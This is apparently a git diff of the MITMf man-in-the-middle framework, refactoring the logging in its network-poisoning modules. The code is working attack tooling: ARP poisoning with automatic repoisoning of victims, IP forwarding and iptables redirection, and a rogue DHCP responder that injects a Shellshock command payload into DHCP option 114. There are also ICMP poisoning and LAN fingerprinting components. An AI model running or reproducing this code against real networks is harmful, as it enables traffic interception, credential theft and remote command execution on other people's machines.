import sys
|
||||
import threading
|
||||
|
||||
from scapy.all import *
|
||||
from core.utils import shutdown
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ARPWatch:
|
||||
|
||||
def __init__(self, gatewayip, myip, interface):
|
||||
self.gatewayip = gatewayip
|
||||
self.gatewaymac = None
|
||||
self.myip = myip
|
||||
self.interface = interface
|
||||
self.debug = False
|
||||
self.watch = True
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
self.gatewaymac = getmacbyip(self.gatewayip)
|
||||
if self.gatewaymac is None:
|
||||
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||
except Exception, e:
|
||||
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||
|
||||
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPWatch] myip => {}".format(self.myip))
|
||||
mitmf_logger.debug("[ARPWatch] interface => {}".format(self.interface))
|
||||
|
||||
t = threading.Thread(name='ARPWatch', target=self.startARPWatch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def stop(self):
|
||||
mitmf_logger.debug("[ARPWatch] shutting down")
|
||||
self.watch = False
|
||||
|
||||
def startARPWatch(self):
|
||||
sniff(prn=self.arp_monitor_callback, filter="arp", store=0)
|
||||
|
||||
def arp_monitor_callback(self, pkt):
|
||||
if self.watch is True: #Prevents sending packets on exiting
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
#print str(pkt[ARP].hwsrc) #mac of sender
|
||||
#print str(pkt[ARP].psrc) #ip of sender
|
||||
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
|
||||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
mitmf_logger.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = '00:00:00:00:00:00'
|
||||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.myip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
|
||||
pass
|
@ -1,40 +1,93 @@
|
||||
import logging
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from traceback import print_exc
|
||||
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
|
||||
from core.logger import logger
|
||||
from core.utils import set_ip_forwarding, iptables
|
||||
from time import sleep
|
||||
from core.utils import shutdown
|
||||
from scapy.all import *
|
||||
from scapy.all import ARP, send, sendp, sniff, getmacbyip
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ARPpoisoner", formatter)
|
||||
|
||||
class ARPpoisoner():
|
||||
class ARPpoisoner:
|
||||
name = 'ARP'
|
||||
optname = 'arp'
|
||||
desc = 'Redirect traffic using ARP requests or replies'
|
||||
version = '0.1'
|
||||
|
||||
def __init__(self, gateway, interface, mac, targets):
|
||||
def __init__(self, options):
|
||||
|
||||
try:
|
||||
self.gatewayip = str(IPAddress(gateway))
|
||||
self.gatewayip = str(IPAddress(options.gateway))
|
||||
except AddrFormatError as e:
|
||||
shutdown("[ARPpoisoner] Specified an invalid IP address as gateway")
|
||||
sys.exit("Specified an invalid IP address as gateway")
|
||||
|
||||
self.gatewaymac = getmacbyip(gateway)
|
||||
self.mymac = mac
|
||||
self.targets = self.getTargetRange(targets)
|
||||
self.interface = interface
|
||||
self.arpmode = 'rep'
|
||||
self.gatewaymac = getmacbyip(options.gateway)
|
||||
self.targets = self.get_target_range(options.targets)
|
||||
self.arpmode = options.arpmode
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.interval = 3
|
||||
self.interface = options.interface
|
||||
self.mymac = options.mac
|
||||
|
||||
def getTargetRange(self, targets):
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("Error: Could not resolve gateway's MAC address")
|
||||
|
||||
log.debug("gatewayip => {}".format(self.gatewayip))
|
||||
log.debug("gatewaymac => {}".format(self.gatewaymac))
|
||||
log.debug("targets => {}".format(self.targets))
|
||||
log.debug("mac => {}".format(self.mymac))
|
||||
log.debug("interface => {}".format(self.interface))
|
||||
log.debug("arpmode => {}".format(self.arpmode))
|
||||
log.debug("interval => {}".format(self.interval))
|
||||
|
||||
set_ip_forwarding(1)
|
||||
iptables().flush()
|
||||
iptables().http(options.port)
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if self.targets is None:
|
||||
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def get_target_range(self, targets):
|
||||
if targets is None:
|
||||
return None
|
||||
|
||||
|
||||
try:
|
||||
targetList = []
|
||||
|
||||
for target in targets.split(','):
|
||||
|
||||
if '/' in target:
|
||||
targetList.append(IPNetwork(target))
|
||||
|
||||
@ -47,45 +100,60 @@ class ARPpoisoner():
|
||||
targetList.append(IPAddress(target))
|
||||
|
||||
return targetList
|
||||
|
||||
except AddrFormatError as e:
|
||||
shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target")
|
||||
sys.exit("Specified an invalid IP address/range/network as target")
|
||||
|
||||
def start(self):
|
||||
if self.gatewaymac is None:
|
||||
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||
def start_arp_watch(self):
|
||||
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
|
||||
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets))
|
||||
mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface))
|
||||
mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode))
|
||||
mitmf_logger.debug("[ARPpoisoner] interval => {}".format(self.interval))
|
||||
def arp_watch_callback(self, pkt):
|
||||
if self.send is True: #Prevents sending packets on exiting
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
#print str(pkt[ARP].hwsrc) #mac of sender
|
||||
#print str(pkt[ARP].psrc) #ip of sender
|
||||
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
|
||||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poisonARPrep)
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poisonARPreq)
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = '00:00:00:00:00:00'
|
||||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
|
||||
def stop(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
|
||||
if self.targets:
|
||||
self.restoreTarget(2)
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.myip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif self.targets is None:
|
||||
self.restoreNet(5)
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
|
||||
pass
|
||||
|
||||
def poisonARPrep(self):
|
||||
def poison_arp_rep(self):
|
||||
while self.send:
|
||||
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
@ -101,7 +169,7 @@ class ARPpoisoner():
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
@ -109,7 +177,7 @@ class ARPpoisoner():
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
@ -118,7 +186,7 @@ class ARPpoisoner():
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
@ -126,30 +194,30 @@ class ARPpoisoner():
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
print_exc()
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def poisonARPreq(self):
|
||||
def poison_arp_req(self):
|
||||
while self.send:
|
||||
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
elif self.targets:
|
||||
|
||||
|
||||
for target in self.targets:
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
@ -157,16 +225,16 @@ class ARPpoisoner():
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
@ -174,54 +242,68 @@ class ARPpoisoner():
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def restoreNet(self, count):
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
def options(self, options):
|
||||
options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
|
||||
options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
|
||||
|
||||
def restoreTarget(self, count):
|
||||
for target in self.targets:
|
||||
def on_shutdown(self, options):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
count = 5
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
if self.targets:
|
||||
for target in self.targets:
|
||||
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
|
||||
elif targetmac:
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
elif self.targets is None:
|
||||
log.info("Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
set_ip_forwarding(0)
|
||||
iptables().flush()
|
||||
|
@ -1,12 +1,30 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [DHCPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DHCPpoisoner", formatter)
|
||||
|
||||
class DHCPpoisoner():
|
||||
|
||||
@ -55,8 +73,8 @@ class DHCPpoisoner():
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if resp[DHCP].options[0][1] is 1:
|
||||
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
mitmf_logger.info("Sending DHCP OFFER")
|
||||
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
@ -78,7 +96,7 @@ class DHCPpoisoner():
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
|
||||
if resp[DHCP].options[0][1] is 3:
|
||||
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
@ -97,11 +115,11 @@ class DHCPpoisoner():
|
||||
pass
|
||||
|
||||
if self.shellshock:
|
||||
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
|
||||
log.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
mitmf_logger.info("Sending DHCP ACK")
|
||||
log.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
@ -22,17 +20,15 @@ import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
#import dns.resolver
|
||||
|
||||
from base64 import b64decode
|
||||
from urllib import unquote
|
||||
from time import sleep
|
||||
#from netfilterqueue import NetfilterQueue
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ICMPpoisoner", formatter)
|
||||
|
||||
class ICMPpoisoner():
|
||||
|
||||
|
33
core/responder/fingerprinter/LANFingerprinter.py → core/responder/fingerprinter/LANfingerprinter.py
33
core/responder/fingerprinter/LANFingerprinter.py → core/responder/fingerprinter/LANfingerprinter.py
@ -1,4 +1,3 @@
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
@ -7,23 +6,25 @@ import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LANfingerprinter", formatter)
|
||||
|
||||
class LANFingerprinter():
|
||||
class LANfingerprinter():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LANFingerprinter] online")
|
||||
log.debug("online")
|
||||
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
|
||||
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever)
|
||||
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 138: {}:".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
@ -70,8 +71,8 @@ def Decode_Name(nbname):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
@ -201,8 +202,8 @@ def BecomeBackup(data, Client):
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
log.warning(Message1)
|
||||
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
except:
|
||||
pass
|
||||
|
||||
@ -215,8 +216,8 @@ def BecomeBackup(data, Client):
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
||||
|
||||
@ -229,7 +230,7 @@ def ParseDatagramNBTNames(data,Client):
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
@ -6,20 +6,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
